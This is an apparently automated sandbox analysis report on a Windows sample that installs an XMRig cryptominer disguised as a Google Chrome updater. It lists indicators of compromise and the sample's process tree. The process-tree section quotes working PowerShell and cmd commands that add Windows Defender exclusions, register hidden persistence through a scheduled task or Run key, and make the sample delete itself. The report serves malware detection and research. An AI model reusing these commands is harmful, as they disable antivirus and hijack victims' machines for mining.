Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1799s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231129-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 2000 created 3524 2000 UU4Ddwqm5zcuLzGR.exe 45 PID 2000 created 3524 2000 UU4Ddwqm5zcuLzGR.exe 45 PID 2000 created 3524 2000 UU4Ddwqm5zcuLzGR.exe 45 PID 2000 created 3524 2000 UU4Ddwqm5zcuLzGR.exe 45 PID 4284 created 3524 4284 updater.exe 45 PID 4284 created 3524 4284 updater.exe 45 PID 4284 created 3524 4284 updater.exe 45 PID 5088 created 3524 5088 conhost.exe 45 PID 4284 created 3524 4284 updater.exe 45 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral26/memory/1676-126-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-130-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-131-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-133-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-135-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-139-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-141-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-143-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-145-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-147-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-149-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-151-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-153-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-155-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-157-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-159-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-161-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-163-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-165-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-167-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-169-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-171-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-173-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-175-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-177-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-179-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-181-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-183-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-185-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig behavioral26/memory/1676-187-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 4284 updater.exe -
resource yara_rule behavioral26/memory/1676-119-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-126-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-130-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-131-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-133-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-135-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-139-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-141-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-143-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-145-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-147-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-149-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-151-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-153-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-155-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-157-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-159-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-161-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-163-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-165-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-167-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-169-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-171-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-173-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-175-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-177-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-179-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-181-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-183-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-185-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx behavioral26/memory/1676-187-0x00007FF61E210000-0x00007FF61EA04000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4284 set thread context of 5088 4284 updater.exe 118 PID 4284 set thread context of 1676 4284 updater.exe 112 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe UU4Ddwqm5zcuLzGR.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2724 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 2000 UU4Ddwqm5zcuLzGR.exe 2000 UU4Ddwqm5zcuLzGR.exe 2412 powershell.exe 2412 powershell.exe 2000 UU4Ddwqm5zcuLzGR.exe 2000 UU4Ddwqm5zcuLzGR.exe 3580 powershell.exe 3580 powershell.exe 2000 UU4Ddwqm5zcuLzGR.exe 2000 UU4Ddwqm5zcuLzGR.exe 2000 UU4Ddwqm5zcuLzGR.exe 2000 UU4Ddwqm5zcuLzGR.exe 4020 powershell.exe 4020 powershell.exe 4284 updater.exe 4284 updater.exe 2056 powershell.exe 2056 powershell.exe 4284 updater.exe 4284 updater.exe 4932 powershell.exe 4932 powershell.exe 4284 updater.exe 4284 updater.exe 4284 updater.exe 4284 updater.exe 5088 conhost.exe 5088 conhost.exe 4284 updater.exe 4284 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2412 powershell.exe Token: SeDebugPrivilege 3580 powershell.exe Token: SeIncreaseQuotaPrivilege 3580 powershell.exe Token: SeSecurityPrivilege 3580 powershell.exe Token: SeTakeOwnershipPrivilege 3580 powershell.exe Token: SeLoadDriverPrivilege 3580 powershell.exe Token: SeSystemProfilePrivilege 3580 powershell.exe Token: SeSystemtimePrivilege 3580 powershell.exe Token: SeProfSingleProcessPrivilege 3580 powershell.exe Token: SeIncBasePriorityPrivilege 3580 powershell.exe Token: SeCreatePagefilePrivilege 3580 powershell.exe Token: SeBackupPrivilege 3580 powershell.exe Token: SeRestorePrivilege 3580 powershell.exe Token: SeShutdownPrivilege 3580 powershell.exe Token: SeDebugPrivilege 3580 powershell.exe Token: SeSystemEnvironmentPrivilege 3580 powershell.exe Token: SeRemoteShutdownPrivilege 3580 powershell.exe Token: SeUndockPrivilege 3580 powershell.exe Token: SeManageVolumePrivilege 3580 powershell.exe Token: 33 3580 powershell.exe Token: 34 3580 powershell.exe Token: 35 3580 powershell.exe Token: 36 3580 powershell.exe Token: SeIncreaseQuotaPrivilege 3580 powershell.exe Token: SeSecurityPrivilege 3580 powershell.exe Token: SeTakeOwnershipPrivilege 3580 powershell.exe Token: SeLoadDriverPrivilege 3580 powershell.exe Token: SeSystemProfilePrivilege 3580 powershell.exe Token: SeSystemtimePrivilege 3580 powershell.exe Token: SeProfSingleProcessPrivilege 3580 powershell.exe Token: SeIncBasePriorityPrivilege 3580 powershell.exe Token: SeCreatePagefilePrivilege 3580 powershell.exe Token: SeBackupPrivilege 3580 powershell.exe Token: SeRestorePrivilege 3580 powershell.exe Token: SeShutdownPrivilege 3580 powershell.exe Token: SeDebugPrivilege 3580 powershell.exe Token: SeSystemEnvironmentPrivilege 3580 powershell.exe Token: SeRemoteShutdownPrivilege 3580 powershell.exe Token: SeUndockPrivilege 3580 powershell.exe Token: SeManageVolumePrivilege 3580 powershell.exe Token: 33 3580 powershell.exe Token: 34 3580 powershell.exe Token: 35 3580 powershell.exe Token: 36 3580 powershell.exe Token: SeIncreaseQuotaPrivilege 3580 powershell.exe Token: SeSecurityPrivilege 3580 powershell.exe Token: SeTakeOwnershipPrivilege 3580 powershell.exe Token: SeLoadDriverPrivilege 3580 powershell.exe Token: SeSystemProfilePrivilege 3580 powershell.exe Token: SeSystemtimePrivilege 3580 powershell.exe Token: SeProfSingleProcessPrivilege 3580 powershell.exe Token: SeIncBasePriorityPrivilege 3580 powershell.exe Token: SeCreatePagefilePrivilege 3580 powershell.exe Token: SeBackupPrivilege 3580 powershell.exe Token: SeRestorePrivilege 3580 powershell.exe Token: SeShutdownPrivilege 3580 powershell.exe Token: SeDebugPrivilege 3580 powershell.exe Token: SeSystemEnvironmentPrivilege 3580 powershell.exe Token: SeRemoteShutdownPrivilege 3580 powershell.exe Token: SeUndockPrivilege 3580 powershell.exe Token: SeManageVolumePrivilege 3580 powershell.exe Token: 33 3580 powershell.exe Token: 34 3580 powershell.exe Token: 35 3580 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 5116 wrote to memory of 972 5116 cmd.exe 100 PID 5116 wrote to memory of 972 5116 cmd.exe 100 PID 4020 wrote to memory of 5032 4020 powershell.exe 102 PID 4020 wrote to memory of 5032 4020 powershell.exe 102 PID 4284 wrote to memory of 5088 4284 updater.exe 118 PID 2788 wrote to memory of 2724 2788 cmd.exe 113 PID 2788 wrote to memory of 2724 2788 cmd.exe 113 PID 4284 wrote to memory of 1676 4284 updater.exe 112 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3524
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2000
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2412
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3580
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5116
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4020
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2056
